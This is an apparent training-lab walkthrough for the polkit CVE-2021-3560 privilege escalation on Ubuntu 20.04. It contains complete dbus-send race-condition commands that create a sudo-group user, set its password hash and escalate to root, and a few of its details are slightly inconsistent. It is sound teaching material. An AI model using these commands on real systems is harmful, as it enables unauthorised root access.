
Step-by-step guide to exploiting CVE-2021-3560, a polkit privilege escalation vulnerability, including background, vulnerability analysis, and manual exploitation commands.
In early 2021 a researcher named Kevin Backhouse discovered a seven year old privilege escalation vulnerability (since designated CVE-2021-3560) in the Linux polkit utility. Fortunately, different distributions of Linux (and even different versions of the same distributions) use different versions of the software, meaning that only some are vulnerable.
Specifically, the following mainstream distributions, amongst others, were vulnerable:
Red Hat Enterprise Linux 8 Fedora 21 (or later) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") All should now have released patched versions of their respective polkit packages, however, if you encounter one of these distributions then it may still be vulnerable if it hasn't been updated for a while.
For this room we will be focussing specifically on Ubuntu 20.04. Canonical released a patch for their version of polkit (policykit-1), which has version number 0.105-26ubuntu1.1. The last vulnerable version available in the apt repositories for Focal Fossa is 0.105-26ubuntu1, so, if you see this, you may be in luck!
We can use apt list --installed | grep policykit-1 to check the installed version of polkit:
The logical question to be asking right now is: "What is polkit?"
Polkit is part of the Linux authorisation system. In effect, when you try to perform an action which requires a higher level of privileges, the policy toolkit can be used to determine whether you have the requisite permissions. It is integrated with systemd and is much more configurable than the traditional sudo system. Indeed, it is sometimes referred to as the "sudo of systemd".
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
This command will manually send a dbus message to the accounts daemon, printing the response and creating a new user called attacker (string:attacker) with a description of "Pentester Account" (string:"Pentester Account") and membership of the sudo group set to true (referenced by theint32:1 flag).
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
This once again sends a dbus message to the accounts daemon, requesting a password change for the user with an ID which we specify (shown in red), a password hash which we need to generate manually, and a hint ("Ask the pentester")
As this is effectively a race condition, we first need to determine how long our command will take to run. Let's try this with the first dbus message:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
eg:
real 0m0.11s
user 0m0.002s
sys 0m0000s
This takes 0.011 seconds, or 11 milliseconds. This number will be slightly different each time you run the command; however, on the provided machine it should always be around this number.
We need to kill the command approximately halfway through execution. Five milliseconds usually works fairly well on the provided machine; however, be aware that this is not an exact thing. You may need to change the sleep time, or run the command several times before it works. That said, once you find a time that works, it should work consistently. If you are struggling to get a working time, putting the command inside a bash for loop and quickly running through a range of times tends to work fairly well.
Let's try this. We need to send the dbus message, then kill it about halfway through:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
To explain the above command, we sent the dbus message in a background job (using the ampersand to background the command). We then told it to sleep for 5 milliseconds (sleep 0.005s), then kill the previous process ($!). This successfully created the new user, adding them into the sudo group.
We should note down at this point that the user ID of the new user in this instance is 1000.
id attacker
Now all we need to do is give the user a password and we should be good to go!
We need a password hash here, so let's generate a Sha512Crypt hash for our chosen password (Expl01ted):
openssl passwd -6 Expl01ted
Using openssl, we generate a password of type 6 (SHA512-crypt) and our plaintext password (Expl01ted).
Now let's finish this! 5 milliseconds worked last time, so it should work here too:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about